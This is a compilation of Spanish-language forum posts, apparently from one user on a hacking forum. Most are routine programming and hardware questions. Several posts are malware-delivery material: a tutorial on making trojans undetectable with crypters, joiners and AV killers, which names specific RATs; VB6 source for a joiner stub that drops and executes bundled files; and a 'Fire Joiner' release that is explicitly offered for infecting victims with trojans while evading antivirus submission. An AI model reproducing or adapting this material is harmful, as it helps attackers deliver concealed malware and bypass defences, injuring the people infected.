Temas

[141 personas]

Buenas, estaba revisando las estadisticas del foro y me quede impresionado con los días del 21 al 30 de Septiembre del 2004.
Pues encontré un incremento súbito de registros en el foro.
El 20/09 se registraron tan solo 141 personas, a partir del dia siguiente las cifras en promedio ascendieron a 1.461 para un total de 14.610 personas registradas en 10 días.
En la historia del foro, ese fue el mes en que mas se registraron usarios.(17.035) En el ranking le sigue el mes 02/05 con apenas 9.115 usuarios registrados.

¿Públicidad? ¿TV? ¿Algún ataque? ¿Bots? ¿Errores?

PD: Yo me voy por algo como los Bots, ya que esos usuarios no influyeron en las demas estadísticas de conectados online o mensajes.

[Fuente:]

Encontré esta entrevista, me pareció muy interesante y llena de ideas a debatir.

¿Qué opinan ustedes?
¿Funciona así el aprendizaje? ¿Seguimos en un aprendizaje forzado? ¿Cambiará la situación?

[youtube=425,350]http://www.youtube.com/watch?v=qLEBAPA7yqo&feature=player_embedded#at=176[/youtube]

Fuente: http://amazings.es/2010/12/02/asimov-hace-22-anos/

Buenas

Llevo algo de tiempo intentando grabar canciones. Podría decir que en cuanto a la musica, se oye muy bien, no tengo problema con ello; Pero con respecto a la voz, se distorsiona o cambian los tonos.

Uso un microfono de esos que traen las computadoras, digamos comunes.. Auriculares con microfono. El siseo se escucha mucho -ya que no tiene la "gomita" o protección.

¿Cuál sería la solución?

Buenas, llevo pocos dias con Ubuntu Lucid Lynx y como de costumbre el internet anda lento... Generalmente en windows (y es asi como tengo contratado) va a 100 Kbps ... y aqui las descargas van a 30 kbps cuando mucho.

Cuando me fijo en el monitor del sistemas, siempre anda descargando algo, o eso parece.

Fijense abajo donde dice recibiendo, algunas veces llega a 50 kbps:

Buenas, tengo un pequeño problema al usar UNION para unas sentencias muy sencillas...
Tengo 2 tablas la primera es una lista de paises y la otra una lista de "comentarios" o "publicaciones".
Quedaria asi:

item        bdpaises
- id         - id
- texto    - nombre
- zona

Y tengo la consulta de esta manera:

Código (php) [Seleccionar] Expandir

$query = mysql_query("SELECT zona
FROM item
WHERE zona LIKE '%".$Add."%'
UNION SELECT nombre
FROM bdpaises
WHERE nombre LIKE '%".$Add."%'");

En este caso he usado 'bra' como variable y no me muestra ningún resultado, a excepción si la ejecuto en phpmyadmin que si me muestra las 2 coincidencias de la tabla bdpaises... que son 2. (Brasil y Gibraltar)
Pero si uso otra frase como 'ela' si me muestra resultados en php y en phymyadmin... con coincidencias en ambas tablas.

No se si me entendieron, pero necesito que me muestre los resultados aun asi no haya coincidencias en ambas tablas

Saludos.

Bueno, intentando vectorizar fotos, mis primeros intentos!
Está hecho en Photoshop, me cuesta trabajar con Illustrator, aunque digan que es mejor.
¿Recomandaciones?



EditPD: El de la foto no soy yo

Hola, bueno...
Disculpen por el post, pero es que estoy tratando de enviar un MP a ANELKAOS y no he podido porque "su limite se ha excedido"

A ver si el me puede hacer el favor, gracias

Bueno aca hize un diseño que necesito mostrar en menos de 1 hora, y quisiera saber que le puedo mejorar según ustedes

Ya vi el primer error y lo solucioné (el borde está mal calculado)

Bueno, he buscado y no aparece casi información.

Supongo que la maquina envia "mensajes" por el puerto y le manda como la direccion de la imagen o que se yo

Si pueden ayudarme se les agradece mucho

No me funciona el "Marcar todos los mensajes como NO leidos."

http://foro.elhacker.net/markasread.html;sa=unreadreplies;topics=198024-219053-216701-216568-198159-161296-179710-217603-137327-211604-170170-211856-202137-213850-208278-196955-127990-209745-207618-211940-68775-208678-208591-207436-40927-197068-176874-155516-172540;sesc=6cb735aa12d836xxxxxxxxxxd4019432b2

Hace tiempo que yo avisé pero no hubo solución. Gracias

Hola, quiero desarrollar un sistema de plugins. Por lo que he leido se usan Apis, xml, SOAP... Pero no tengo ninguna idea clara. Y no se consigue información o tal vez no la he sabido buscar.

Si tienen algun manual, la idea o cualquier cosa, se los agradezco

Hola, la idea es "Colorear algunas palabras dentro del TextBox." Pero sin usar el RichTextBox. Tal vez pensé en usar SendMessage pero no me sale.

Usé WM_PAINT, WM_SETFONT, WM_CTLCOLOREDIT..

¿Que opinan?

Edit: Estoy mirando aca a ver que encuentro ^^ http://foro.elhacker.net/programacion_vb/formatear_texto_visual_basic-t207594.0.html

Hola, me descargué Los Sims 2 sin expansiones y justo ahorita cuando le doy con el Daemon Tools montar imagen ejecuto "AutoRun.exe" Y me da "Programa muy extenso para colocarlo en memoria" lo mismo con el "Setup.exe".

Ya no se que hacer.

Tengo:

512 MB de RAM.
Pentium 4
2.66 Ghz-2.67 Ghz

Ati RADEON 9550 256 MB

C:\ 8GB libres
D:\ 22.4 GB libres

Bueno, compruebenlo ustedes mismos. Ya se que no es un secreto pero aca lo dejo:

Código (vb) [Seleccionar] Expandir

Private Sub Picture1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
For i = 0 To 1000
    Picture1.PSet (Random(5000), Random(3000))
    Picture1.ForeColor = RGB(Random(255), Random(255), Random(255))
    Picture1.DrawWidth = Random(10)
Next i
End Sub
Function Random(Max As Long)
Randomize Rnd
Tmp = Int((Max - 1 + 1) * Rnd) + 1
Random = Tmp
End Function

Bueno, aca dejo mi plumazo.



Errores? Opiniones? Felicitaciones ?

Me sale este error al intentar marcar como leidos mis "Mostrar nuevas respuestas tus mensajes"



¿Soy el único?

[ese foro]

Victima:
http://foro.elhacker.net/analisis_y_diseno_de_malware/ver_beta_skull_downloader_beta-t217841.0.html

Analisis:

creo que algun lamer en sus laboratorios ultrasecretos prepara skull/fire/SHNI/ CRYPTER que se va a parecer a del e0n pero que no sera igual segun los autores olo raro es que e0n publico un par de programas desarrolladas algunas parten en ASM y veo que muchos ya tambien quieren hacer la suyas eso es iniciativa y seguir un buen ejemplo

Me estan mencionando y voy a dar mi opinion
Mi laboratorio no es secreto, solo esta oculto para tomar algunas desiciones de todas maneras nosotros compartimos el codigo fuente en ese foro pero si alguien me lo pide se lo doy y si veo que lo necesita pues se lo ofresco. De todas maneras un joiner no tiene mucha ciencia

Yo sigo buenos ejemplos porque asi me educaron, ejemplos:
MadAntrax, E0N, RedMx, Man-in-the-Middle, Hendrix, Karcrack, Kiemr...

Si "somos lammers", lo acepto.. ¿Que paso? nada verdad entonces va a dar igual si somos o no somos lammers y bajale a tu orgullo.

Perdón que siga desviando el tema, pero es que en parte, desde hace algún tiempo me esta molestando ver como un grupito de usuarios, que además tienen su propio foro, en el cual son moderadores, colaboradores, etc, se lleva mucha info de este foro, y la da como propia...... "Luego de probar y probar al fin he dado con la solución........"  , si claro, más bien, he ido a elhacker, he encontrado algo codeado por alguien, y simplemente le he cambiado el nombre....... eso sería más correcto 

Seria bueno que especificaras. No puedes ir acusando por ahi sin tener o mostrar pruebas.

Vamos a ver chavalin, q yo sepa en code-makers.es se hacen retos de programacion y se crean todo tipo de codigos y programas, hay gente muy buena.
Quiza haya alguno que copie los codigos, eso es cosa del que lo haga cada cual es responsable de sus actos asi que no generalices..
Yo también podría decir cosas de aquí pero por simple educación no lo hago.
Hasta otra...

Exacto

y anda hacer peña a tu foro

Y tu al tuyo, el foro no es tuyo a pesar de que seas Mod Global

Fácil: Usa un control de usuario llamado CommandXP, ese UserControl originalmente se llama ChameleonButton, yo lo llevo usando bastante tiempo y decidí cambiar el nombre de ese control por CommandXP, ahora cada vez que miro un source y veo el CommandXP puedo estar seguro que lo cogieron del Source del Cactus Joiner o similares... si lo hubieran buscado por su cuenta tendrían el ChameleonButon y no el CommandXP.

Yo copié los controles de tu source y llego un momento en que me copie mas o menos tu diseño. Pero yo lo admito

PD: Este post va a terminar cerrado, solo quiero saber porque la agresion y el prejuicio Me sorprende de algunas personas lamentablemente no pense que fueran asi. Debe ser que el humo se les subio a la cabeza o yo que se. Nunca he insultado a ningun foro no se porque entonces salen ciertas personas a hacerlo

La idea es que cada uno de nosotros pueda borrar cada uno de nuestros mensajes

Yo creo que seria bueno, asi nos ahorrariamos los doble y hasta triple post

Por ahora no le veo lo malo

Hola, yo he visto que tienen "links" diferentes no recuerdo como se llama eso pero sirve para la mejor indexacion en google Yo estoy interesado en saber si es un mod o fue programado por los del foro

Saludos.

Hola, hace dias que el foro esta lento, a veces se ve "feo".

Parece que estan jugando mucho a "¿Quien cambio el CSS?" o no se es algo parecido

Sino esta bajo un DDOS

Hola, queria saber si es posible crear una aplicación multiconexion y con conexion inversa usando CSocket.cls (El SocketMaster )

Saludos y Gracias...

Hola, como logro este efecto, de la rayita. O por lo menos diganme como se llama que yo busco

al parecer es muy simple pero no me sale

Me refiero a la del banner (las rayitas)
http://muzty.deviantart.com/art/D2D-80095330

Hola, estoy intentando hacer una linterna sin pilas tengo:

1 Bobina simple (Rollo de alambre enrollado en un carrete de plastico)
2 Condensadores: 1 de 1000uF x 10V y otro de 1000uF x 16V
1 Iman
1 Bombillito

Mi idea (no la invente yo) es hacer que el iman pase varias veces por el medio de la bobina produciendo una corriente electrica que sera almacenada en el condensador que despues pase la corriente al bombillo...

Ahora veo el condensador y tiene 2 lados (+ y -) pero hasta donde tengo entendido por uno entra la energia o corriente y por el otro sale. ¿por cual sale?

Esta es mi consulta y no la hace

Código (php) [Seleccionar] Expandir

$sql_log = "INSERT INTO 'log' ('id', 'ip', 'fecha') VALUES ('$id', '$ip', '$fecha')";
mysql_query($sql_log);

Que error tendré?? Es estupido despues de tanto trabajar con SQL/PHP

Hola, queria saber como puedo esperar a que se use alguna API o que se produzca alguna acción y yo modificarla o no permitirla. Gracias.



Si tienen un tutorial asi larguisimo sobre Api hooking lo agradeceria x q no encuentro NADA en NINGUNA parte. Nah broma. jajaja me acorde de un post.

Hola, la idea de este Battle art seria que yo o alguien mas diseñara algo y que los participantes ordenadamente la mejoren.

Gana el mejor diseño como siempre

[MuFacil]

Hola, estoy desarrollando una aplicación para crear un Servidor 1.04H Season3 Rapidamente asi como el MuFacil

Hasta ahora tiene todos los pasos fundamentales, pero me gustaria que me dijeran que se les hace dificil a la hora de crear un servidor de MuOnline.

Hola, quiero crear un sistema de descargas tipo Softonic (menos avanzado y gratis)
Mi idea es:

Crear un admin.php() donde pueda crear/editar/borrar descargas y categorias.
Que en el index luego de crear las categorias se vayan creando los menus automaticamente.

Mi problema ya va a a la hora de darle clic a una categoria y al momento del login.

Siempre que coloco session_start(); sale un error

Por favor y Gracias.
PD: Red Mx tienes experiencia ayudame

Hola, supongamos que yo tengo 1 archivo y adentro tiene escrito lo siguiente:

Hola.........as.......
...a.s......127......y
..n......a.......y.....
n.......................y

(viendolo desde un Editor Hexadecimal)

¿Como leo yo ese numero 127?

Estuve intentando con EOF, LOF, LOC, SEEK pero nada, no pude. Ya de tranto estudiar otros lengujes se me ha olvidado el vb un poco.

Hola, Felicitaciones al dueño del manual

Tiene uno que otro error. Pero nada grave.



Estaba integrandole algo para borrar la noticia y tengo esto pero no se si este bien:

Código (php) [Seleccionar] Expandir


<?php
include("conexion.php");
$id = $_GET['id'];
if (isset($id));
$sql = "DELETE from `noticias` WHERE id=".$id;
if (mysql_query($sql)) { 
echo "La noticia se ha borrado satisfactoriamente.";
} else {
echo "Error al Borrar la noticia.";
}
mysql_close($conexion);
?>


No sale error pero resulta que no borra nada

Hola, tengo un backup de mi foro necesito sacar solamente los msn de entre tantas cosas.

Esta es la manera en que puede encontrarse un email:

Código [Seleccionar] Expandir


'XXXXX', 'unemail@hotmail.com', 'una.ip.normal.1', 1, 0, '', 'Hola esta es una prueba'


Como hago para de todo ese texto sacar solo:

'unemail@hotmail.com' o unemail@hotmail.com

He intentado de varias maneras y solo logro unas partes muy grandes. :S

[(index.html)]

Hola, estoy creando mi primera aplicacion en PHP.

Voy a dejar este post abierto para cualquier duda que me venga.



Comienzo.

Tengo esto.

(index.html)

Código [Seleccionar] Expandir


<form action="guestbook.php" method="post">
<label>Nombre: </label><br /><input name="de" type="text" size="15" maxlength="15" />
<br />
<label>Web: </label><br /><input name="web" type="text" size="20" maxlength="30" />
<br />
<label>Comentarios: </label><br /><textarea name="comentario" cols="50" rows="3"></textarea>
<br />
<input type="submit" value="Enviar Comentario"/>
</form>


(guestbook.php)

Código [Seleccionar] Expandir


<?php
$de = $_POST['de'];
$web = $_POST['web'];
$comentario = $_POST['comentario'];
$guardar = fopen("guestbook.html","a");
fwrite($guardar,"<br><hr><br>");
fwrite($guardar, "De:".$de."<br>Web:".$web."<br>Comentario:".$comentario."<br><hr><br>");
fwrite($guardar,"<form action='index.html' method='get'>");
fwrite($guardar,"<input type='submit' value='Regresar'></form>");
fclose($guardar);
?>
<meta http-equiv="refresh" content="0;URL=guestbook.html">




El problema esta en que cada vez que escribo me sale el boton de regresar, como haria para que saliera una sola vez.?

Les dejo aca la web de pruebas: http://fire-software.net/pruebas/index.html

PD: Si es necesario que la quiten, haganlo pero el post no lo cierren. Gracias.

Me sale este error y no se que hacer:

Código [Seleccionar] Expandir

Fatal error: Call to undefined function: loadsession() in /home/fire22/public_html/foro/Sources/Subs-Auth.php on line 177

Eso es al ultimo paso de instalar.

Hola, estuve siguiendo el tutorial de Hendrix de como crackear el MP3 Joiner pero el muestra unas imagenes y yo veo otras en mi olly. No se de quien es el problema:

¿Hendrix, Olly o Mio?

[1- ¿Como vuelvo mi troyano indetectable?]

Hola,

Este post lo abro para que muchos dejen de andar preguntando lo mismo de siempre.



1- ¿Como vuelvo mi troyano indetectable?

Para que sea indetectable, en primera el mismo debe ser bueno; Mejor dicho debe usar:

[-] Conexion Inversa
[-] Inyeccion en Memoria
[-] Melt

Luego usas una serie de herramientas como: Crypters, Joiners/Binders y AV/FW Killers (Muchas veces incorporados en los Joiners/Binders).

Tambien puedes modificar Offset pero eso ya es un temas mas avanzado y el cual yo no conozco.

2- ¿Como consigo un buen troyano?

2.1 Antes de descargar un troyano debemos desactivar la defensa de nuestros AntiVirus. En especial si tenemos uno con defensa proactiva.

2.2 Tambien debemos tener una buena fuente de descarga para que no nos infecten a nosotros.

2.3 Hay que estar muy pendiente de las actualizaciones y los troyanos que van saliendo. Por ahora se puede considerar que los mejores son:

Poison Ivy 2.0 - 2.3
Bifrost 1.2
DarkMoon 4.11

3- ¿Donde puedo conseguir buenas herramientas para camuflar? ¿En que orden usar las herramientas?

Les dejo una buena lista :

[-] Crypters:

[-] Cryptic v2.1 - EXE Crypter:
http://foro.elhacker.net/index.php/topic,181507.0.html

[-] StasFodidoCrypter 1.0:
http://foro.elhacker.net/index.php/topic,176399.0.html

[-] Joiners/Binders:

[-] Cactus Joiner 2.5:
http://foro.elhacker.net/index.php/topic,131276.0.html

[-] Fire Joiner 2.0:
http://foro.elhacker.net/index.php/topic,182917.0.html

[-] RedBinder 1.1:
http://foro.elhacker.net/index.php/topic,112502.0.html

Ahora presta mucha atencion porque necesitaras saber en que orden usar estas herramientas:

Muchas personas lo harian de cualquier manera (lo he comprobado) pero en realidad necesitamos tener un orden. Imaginate que priemero uses el joiner y luego el cryter. Ese server quedara inservible un 98% de las veces. Porque los joiners/binders usan firmas para poder dividir los archivos y entonces los crypters van a dañar esas firmas o palabras y cuando el joiner quiera hacer su trabajo no va a encontrar su firma y va a tirar error. Recuerda, siempre el Joiner de ultimo.

Asi que:

Server > Joiner > Crypter. NO
Server > Crypter > Joiner. SI

Como dice el titulo es un Mini-Tutorial asi que ha llegado a su fin.
Espero les guste y lo sepan utilizar.

Hola,

hace poco me dijo un amigo sobre alguien que estaba haciendo Spam. Entonces me tope con esto:

Ambas cosas las puedes descargar de la Web que sale en mi firma.

Entonces en el mismo post empeze a buscar mas porque me dio curiosidad que me fui a la ultima pagina encontre mas de lo mismo.

Aqui una lista de las veces que lo dijo:

Ambas cosas las puedes descargar de la Web que sale en mi firma.

Lo e traducido yo. En mi web lo puedes descargar.

Si lo quieres en español aunque no sea la ultima version puedes bajarlo de mi firma

para mas seguridad bajate de mi firma el ip2 y mira veras como esa no es realmente tu ip

Si picas en mi firma te puedes bajar el shout cast que antes estaba en mi web

Bajatelo de la web de mi firma, solo pesa unos kb, precisamente lo acabo de traducir al español jeje.

Bajate de la web de mi firma el ip2 y usale para obtener tu ip real.

El ip2 lo tienes en la web de mi firma.

El regcleaner asi como el registry medic los puedes encontrar en la web de mi firma y en español.

Mira ve a la web de mi firma y bajate el ip2, con el saca tu ip y comprueba si es la misma que la que tu crees, el ip2 te da dos ip pues prueba con las dos haber cual de ellas te ba.

Esa persona es el actual Co-Admin 'Songoku', en un post sobre 'Como montar una radio en internet'

Espero que se apliquen algunas sanciones o algo parecido porque me pareció un abuso totalmente.

A lo mejor salgo baneado o a lo mejor no pero quedo con mi conciencia tranquila.

Saludos a todos.

Bueno, un ejemplo es obtener la ruta o el nombre del archivo y que se devuelva el proceso (en tal caso que se este ejecutando).

estuve buscando en Google pero en este caso no encontre nada.

La busqueda de el Foro no me arrojo ningún resultado

[Creando un efecto de Flama muy real.]

Bueno, primero que nada, no borren el post por favor. Lo pasan a Foro Libre.

Creando un efecto de Flama muy real.

Para hacer este efecto necesitamos los siguientes materiales:

Caja de Fosforos(con fosforos) :



Papel:



Tambien requeriras de una camara y una persona que tome la foto.

Empezamos:

1- Toma el papel y colocalo en el piso lejos de cualquier objeto "incendiable".

2- Enciendelo con los fosforos.

3- Si ves que la llama se esta apagando o la quieres mas grande usas mas papel y fosforos.

4- En el mejor momento toma la foro

5- Y con un poquito de photoshop lograras algo mejor que esto:



6- Luego te toca barrer cosas como estas:





Que la pasen bien y no incendien a nadie..!!

PD: En realidad es para el banner del mi Joiner.

Bueno quisiera saber si pueden quitar

Código [Seleccionar] Expandir

:xD por

Código [Seleccionar] Expandir

xD

Creo que se hace mas facil

Código [Seleccionar] Expandir

xD que

Código [Seleccionar] Expandir

:xD, claro yo me acostumbre pero la mayoria de las personas hacemos

Código [Seleccionar] Expandir

xD...

Bueno, ud veran.!!

Bueno yo quisiera saber como matar archivos a la fuerza. He visto otros programas que lo hacen... Y yo quisiera hacerlo tambien  Para uso personal...!!

Hola.

Tengo una duda. Quisiera saber que formato de iconos acepta vb... Porque nunca logro saber cual es el verdadero...

Gracias.!

[NO]

Hola.

Este tutorial tiene como objetivo enseñar a hacer su porpio Joiner. Lo hice basandome en la primera version de mi Fire Joiner y bueno vamos a ver que les parece.

En este tutorial NO se enseñara a crear un Joiner con miles de utilidades tan solo tendra las de unir 2 archivos con cualquier extension.

Comenzemos:

En primer lugar les explicare basicamente como trabaja un Joiner:

Exe

1- Lee la dll o Stub
2- Lee los archivos a unir
3- Los separa por Firmas
4- Los guarda en un archivo final

Stub o Dll

1- Se lee a si mismo
2- Se divide a si mismo con la funcion Split con determinada firma
3- Guarda los 2 archivos en otro lugar
4- Los ejecuta con la api ShellExecuteA

Como ven es muy simple pero desde este momento les advierto que tienen que tener conocimientos sobre VB 6.0.


Explicare linea por linea el codigo del Ejecutable o Exe:

Código (vb) [Seleccionar] Expandir


Open App.Path & "/nombre.dll" For Binary Access Read As #1
Dll = Input(LOF(1), #1)
Close #1


- Abre la Dll
- La lee completa
- La cierra

Código (vb) [Seleccionar] Expandir


Open text1.text For Binary Access Read As #1
FI1 = Input(LOF(1), #1)
Close #1


- Abre el primer archivo a unir
- Lo lee completo y lo guarda en la variable FI1
- Lo cierra

Código (vb) [Seleccionar] Expandir


Open text2.text For Binary Access Read As #1
FI2 = Input(LOF(1), #1)
Close #1


- Abre el segundo archivo a unir
- Lo lee completo y lo guarda en la variable FI2
- Lo cierra

Código (vb) [Seleccionar] Expandir


FI1c = StrReverse(FI1)
FI2c = StrReverse(FI2)
FI1d = Trim(FI1c)
FI2d = Trim(FI2c)
Ext1 = Ext(Text1.Text)
Ext2 = Ext(Text2.Text)
Name1 = Nam(Text1.Text)
Name2 = Nam(Text2.Text)

- cifra el primer archivo con la funcion StrReverse
- cifra el segundo archivo con la funcion StrReverse
- Le quita los espacios que sobran a los lados
- Le quita los espacios que sobran a los lados
- Saca la extension del primer archivo con la funcion Ext
- Saca la extension del segundo archivo con la funcion Ext
- Saca el nombre de el primer archivo con la funcion Nam
- Saca el nombre de el segundo archivo con la funcion Nam

Código (vb) [Seleccionar] Expandir


Open "Tetx3.Text" For Output Access Write As #1
Print #1, Dll & "Firma" & FI1d & "Firma" & FI2d & "Firma" & Ext1 & "Firma" & Ext2 & "Firma" & Name1 & "Firma" & Name2 & "Firma"
Close #1

- Abre el Archivo final
- Imprime todos los datos separados por firmas
- Cierra



Explicare linea por linea el codigo del Stub o Dll:

Código (vb) [Seleccionar] Expandir


Private Declare Function ShellExecuteA Lib "SHELL32.DLL" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

- Declara la Api ShellExecuteA

Código (vb) [Seleccionar] Expandir


Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
Yo = Input(LOF(1), #1)
Close #1


- Se abre a si mismo
- Se lee a si mismo
- Se cierra

Código (vb) [Seleccionar] Expandir


Yo2 = Split(Yo, "Firma")
FI1 = StrReverse(Yo2(1))
FI2 = StrReverse(Yo2(2))
Xten1 = Yo2(3)
Xten2 = Yo2(4)
Nam1 = Yo2(5)
Nam2 = Yo2(6)


- Divide el archivo con la funcion Split usando las Firmas
- descifra el primer archivo y lo guarda en la variable FI1
- descifra el segundo archivo y lo guarda en la variable FI2
- Saca la Extension del primer archivo y la guarda en la variable Xten1
- Saca la Extension del segundo archivo y la guarda en la variable Xten2
- Saca el Nombre del primer archivo y la guarda en la variable Nam1
- Saca el Nombre del segundo archivo y la guarda en la variable Nam2

Código (vb) [Seleccionar] Expandir


Open Environ("Temp") & "\" & Nam1 & "." & Xten1 For Output Access Write As #1
Print #1, , FI1
Close #1
Open Environ("Temp") & "\" & Nam2 & "." & Xten2 For Output Access Write As #1
Print #1, , FI2
Close #1


- Crea el primer archivo "Joineado"
- Imprime el primer archivo
- Cierra
- Crea el segundo archivo "Joineado"
- Imprime el segundo archivo
- Cierra

Código (vb) [Seleccionar] Expandir


ShellExecuteA Me.hWnd, "Open", Environ("Temp") & "\" & Nam1 & "." & Xten1, vbNullString, vbNullString, 1
ShellExecuteA Me.hWnd, "Open", Environ("Temp") & "\" & Nam2 & "." & Xten2, vbNullString, vbNullString, 1


- Ejecuta el primer archivo
- Ejecuta el segundo archivo



Bueno y eso es todo..

Solo queda arreglar un poquito el code. Que por cierto no se los hare tambien.

Y tendran su Joiner Listo.

Sin presumir mucho les digo que con este Tutorial, cualquiera con conocimientos minimos o medios de Visual Basic 6 puede crear su propio Joiner. Asi que aprovechenlo, que esta muy bueno. Claro tiene sus fallas y eso se va a ir mejorando.

Nota: Si lo van a pegar a otra parte por favor coloquen la fuente o el autor:

Freeze
foro.elhacker.net o http://freeze-web.com

Salu2..!!


Editado 1/09/07 12:55 p.m.

Como todos los tutoriales tienen sus fallas y aqui algunas que nadie ha visto:

En alguna parte del Tutorial para sacar el Nombre de el Programa y la Extension de un archivo se utilizan 2 Funciones que son Nam y Ext, esas no estan prestablecidas tienen que agregarlas al codigo:

Ext:

Código (vb) [Seleccionar] Expandir


Public Function Ext(ruta As String)
FullName = Mid$(ruta, InStrRev(ruta, "\") + 1)
Ext = Mid$(FullName, InStrRev(FullName, ".") + 1)
End Function


Ext:

Código (vb) [Seleccionar] Expandir


Public Function Nam(ruta As String)
FullName = Mid$(ruta, InStrRev(ruta, "\") + 1)
Nam = Mid$(FullName, 1, InStrRev(FullName, ".") - 1)
End Function



Y ahora para que esten mucho mas claros en lo que estan haciendo les explicare algunas de las funciones que se utilizan:

Open:
Le dice al Visual Basic a que archivo debe acceder.

Input:
Funciona junto con Open e indica si quiere abrir el archivo.

LOF:
Lenght Of File. Significa Tamaño del Archivo. Sirve para sacar la longitud del archivo.

StrReverse:
Devuelve la cadena invertida.

Trim:
Devuelve una cadena sin espacios a los lados.

Split:
Sirve para delimitar y dividir en arrays una cadena.

Environ:
Devuelve una cadena la cual esta asociada con una variable del Sistema Operativo.

[Fire Joiner]

Hola.

Les presento mi ultimo proyecto:

Fire Joiner

Este joiner permite unir 2 archivos en un ejecutable. Asi podras engañar a tus victimas para infectarlas con un troyano.

Pantalla Principal

Caracteristicas

1-Permite unir 2 archivos
2-StrReverse Encription
3-Permite Cambiar el Nombre con el cual sera ejecutado
4-Manejo Facil
5-Interfaz "Buena"

Proximamente

1-Cambiar el icono al ejecutable final
2-Otro metodo de encriptacion



Nota: Se les agradece no mandarlo a webs de antivirus, tales como virustotal

Espero que si encuentran Bug's me los hagan saber en este mismo post.

Gracias... A todos.

Link de Descarga: AQUI

Arreglado..

Hola, Queria saber si estoy bien informado

A lo mejor sera por eso que no termino mi Joiner 

Tengo el Programa "Joiner"

Código (vb) [Seleccionar] Expandir

Private Sub Form_Load()
Dim Tam As String
Dim Tam2 As String
Dim Dll As String
Dim Firma As String
Dim Firma2 As String
Dim xten As String * 3
Dim xten2 As String * 3
Dim Dll_c As String
Firma = "Freeze"
Firma2 = "Freeze2"
Dll = App.Path & "freeze.dll"
Cd.ShowOpen
Open Cd.FileName For Binary As #1
Tam = Space(LOF(1))
Get #1, , Tam
Close #1
xten = Right(Cd.FileName, 3)
Cd.ShowOpen
Open Cd.FileName For Binary As #1
Tam2 = Space(LOF(1))
Get #1, , Tam2
Close #1
xten2 = Right(Cd.FileName, 3)
Open Dll For Binary As #1
Dll_c = Space(LOF(1))
Get #1, , Dll_c
Close #1

Cd.ShowSave
Open Cd.FileName For Binary Access Write As #1
Put #1, , Dll_c & Firma
Put #1, , Tam & Firma
Put #1, , Tam2 & Firma2
Put #1, , xten & Firma2
Put #1, , xten2
End
End Sub

Ese lo hize yo, queria saber si estaba bien..!! :-)

Y el Stub nunca termino de hacerlo, lo borro y  lo comienzo pero nunca lo termino.

Hola esto es algo que nunca he entendido. y que creo que no podre explicar muy bien.. pero ahi voy a ver que tal :

He visto programas que encryptan... y yo quisiera hacer el mio ...

Pero lo que no entiendo es como modificar un exe desde vb para que se ejecuta a si mismo, para que mate procesos en fin para que tenga ciertas funciones...

Porque si abro un archivo.exe y coloco esto:

Código (vb) [Seleccionar] Expandir


Private sub Form_Load()
MsgBox "hola"
End Sub


Obviamente no lo va a ejecutar...

Tambien seria otra pregunta como se "traduce" (por decirlo de alguna manera) de VB a Exe o ejecutable (el llamado proceso de compilar)....

Salu2..!!